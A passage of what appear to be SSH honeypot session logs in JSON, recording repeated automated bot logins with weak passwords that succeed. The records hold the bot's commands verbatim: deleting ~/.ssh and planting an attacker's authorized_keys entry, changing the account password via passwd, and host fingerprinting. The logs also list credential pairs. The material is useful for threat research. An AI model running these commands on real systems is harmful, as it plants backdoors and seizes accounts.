AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:15:02.160758+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:15:04.158567+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:15:04.447664+00:00","kind":"input","latency_ms":null,"data":"echo -e \"111111\\nu7rltlAvdKNz\\nu7rltlAvdKNz\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:15:04.735667+00:00","kind":"input","latency_ms":null,"data":"echo \"111111\\nu7rltlAvdKNz\\nu7rltlAvdKNz\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:15:05.024070+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:15:05.393666+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:15:06.076595+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T14:15:06.391553+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T14:15:06.679317+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T14:15:08.068622+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:15:08.358881+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:15:09.813457+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:15:10.106225+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:15:12.064318+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:15:12.364864+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:15:14.385958+00:00","kind":"output","latency_ms":null,"data":" 14:15:14 up 6 days, 11:05, 0 user, load average: 0.02, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:15:14.675177+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:15:15.509461+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:15:15.809191+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:15:17.356963+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:15:17.645984+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:15:19.225736+00:00","kind":"output","latency_ms":null,"data":"top - 14:15:19 up 6 days, 11:05, 0 user, load average: 0.02, 0.02, 0.02\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:15:19.514413+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:15:20.538967+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:15:20.828036+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:15:21.921754+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:15:22.210345+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:15:24.255146+00:00","kind":"output","latency_ms":null,"data":"minecraft"},{"seq":31,"at":"2026-08-26T14:15:24.545782+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:15:26.709850+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:15:26.999176+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:15:28.361062+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"minecraft","password":"111111","method":"password","accepted":true,"tier":"other"}]} {"id":"0c9bfb35-2752-4002-823b-8df9c6425928","name":"dewy-somber-gerbil","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":51318,"username":"minecraft","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:15:00.356602+00:00","ended_at":"2026-08-26T14:15:02.072756+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"minecraft","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"53703b29-4d0c-4f36-9353-bea9f871929b","name":"glacial-western-llama","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":51306,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:14:58.739322+00:00","ended_at":"2026-08-26T14:14:59.751481+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"acda9d81-3085-402c-a846-bf495d93396f","name":"jaunty-thrifty-dolphin","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":52142,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":292,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:13:31.530033+00:00","ended_at":"2026-08-26T14:13:32.561998+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2243,"events":[{"seq":1,"at":"2026-08-26T14:13:07.443722+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:13:07.733914+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:13:10.935388+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:13:11.603811+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:13:11.896298+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user123\\nFmgNab5vqHem\\nFmgNab5vqHem\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:13:12.190231+00:00","kind":"input","latency_ms":null,"data":"echo \"user123\\nFmgNab5vqHem\\nFmgNab5vqHem\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:13:12.478025+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:13:13.012715+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:13:13.304771+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:13:15.079909+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:13:15.373242+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:13:16.208527+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:13:16.502092+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:13:18.532721+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:13:18.825316+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:13:20.198818+00:00","kind":"output","latency_ms":null,"data":" 14:13:20 up 6 days, 11:03, 0 user, load average: 0.06, 0.07, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:13:20.490641+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:13:21.043068+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:13:21.334765+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:13:23.140407+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:13:23.446361+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:13:24.168789+00:00","kind":"output","latency_ms":null,"data":"top - 14:13:24 up 6 days, 11:03, 0 user, load average: 0.06, 0.07, 0.06\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:13:24.461257+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:13:25.630072+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:13:25.921856+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:13:26.829835+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:13:27.124476+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:13:29.283422+00:00","kind":"output","latency_ms":null,"data":"user1"},{"seq":29,"at":"2026-08-26T14:13:29.574866+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:13:31.236503+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:13:31.531135+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:13:32.475591+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user1","password":"user123","method":"password","accepted":true,"tier":"other"}]} {"id":"18f79627-ec5e-42f0-832e-771b414ebd3d","name":"buoyant-idle-quokka","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":52154,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:13:09.599002+00:00","ended_at":"2026-08-26T14:13:10.850106+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f39dde73-dc47-4003-ac27-db24a1dd8168","name":"ancient-jaunty-armadillo","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":52150,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:13:08.402107+00:00","ended_at":"2026-08-26T14:13:09.022006+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3d96ac90-5974-45be-b7f5-5ffa7e68cb17","name":"tangled-calm-impala","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":60106,"username":"kamera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":288,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:11:36.498686+00:00","ended_at":"2026-08-26T14:11:38.123035+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2231,"events":[{"seq":1,"at":"2026-08-26T14:11:15.301836+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:11:15.590497+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:11:19.416344+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:11:19.917637+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:11:20.205933+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kamera\\n59jU4fcGTLsL\\n59jU4fcGTLsL\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:11:20.493100+00:00","kind":"input","latency_ms":null,"data":"echo \"kamera\\n59jU4fcGTLsL\\n59jU4fcGTLsL\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:11:20.781670+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:11:21.643121+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:11:21.929813+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:11:23.032738+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:11:23.320298+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:11:24.501445+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:11:24.791177+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:11:25.119096+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:11:25.407688+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:11:25.888806+00:00","kind":"output","latency_ms":null,"data":" 14:11:25 up 6 days, 11:01, 0 user, load average: 0.21, 0.21, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:11:26.177212+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:11:26.843738+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:11:27.134536+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:11:27.523843+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:11:27.812078+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:11:28.243125+00:00","kind":"output","latency_ms":null,"data":"top - 14:11:28 up 6 days, 11:01, 0 user, load average: 0.21, 0.21, 0.18\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:11:28.533123+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:11:29.711621+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:11:29.999791+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:11:31.869632+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:11:32.158962+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:11:33.759338+00:00","kind":"output","latency_ms":null,"data":"kamera"},{"seq":29,"at":"2026-08-26T14:11:34.045094+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:11:36.210483+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:11:36.499710+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:11:38.039937+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kamera","password":"kamera","method":"password","accepted":true,"tier":"other"}]} {"id":"13760a0e-2e95-42a2-a46b-6528e51b485e","name":"hardy-hollow-narwhal","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":60122,"username":"kamera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:11:17.653496+00:00","ended_at":"2026-08-26T14:11:19.334509+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"kamera","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d39f9456-5633-407c-bad2-1ec703381b46","name":"ruddy-upland-ibis","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":60110,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:11:16.246510+00:00","ended_at":"2026-08-26T14:11:17.065695+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"db49389f-e9af-48c0-b6d4-0fc84d1a87c9","name":"reedy-velvet-meerkat","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":54270,"username":"stperez","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":293,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:09:35.058137+00:00","ended_at":"2026-08-26T14:09:36.003043+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2219,"events":[{"seq":1,"at":"2026-08-26T14:09:09.911628+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:09:10.203547+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:09:14.380033+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:09:15.566561+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:09:15.860159+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nUejBaFR5q50D\\nUejBaFR5q50D\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:09:16.152764+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nUejBaFR5q50D\\nUejBaFR5q50D\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:09:16.447346+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:09:16.737732+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:09:17.454794+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T14:09:17.587441+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T14:09:17.880289+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T14:09:18.778626+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:09:19.079481+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:09:20.593000+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:09:20.889482+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:09:22.821591+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:09:23.127715+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:09:24.828205+00:00","kind":"output","latency_ms":null,"data":" 14:09:24 up 6 days, 10:59, 0 user, load average: 0.3, 0.37, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:09:25.126691+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:09:26.266138+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:09:26.558949+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:09:27.748184+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:09:28.041651+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:09:29.703276+00:00","kind":"output","latency_ms":null,"data":"top - 14:09:29 up 6 days, 10:59, 0 user, load average: 0.3, 0.37, 0.25\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:09:29.995288+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:09:30.870254+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:09:31.162136+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:09:32.531276+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 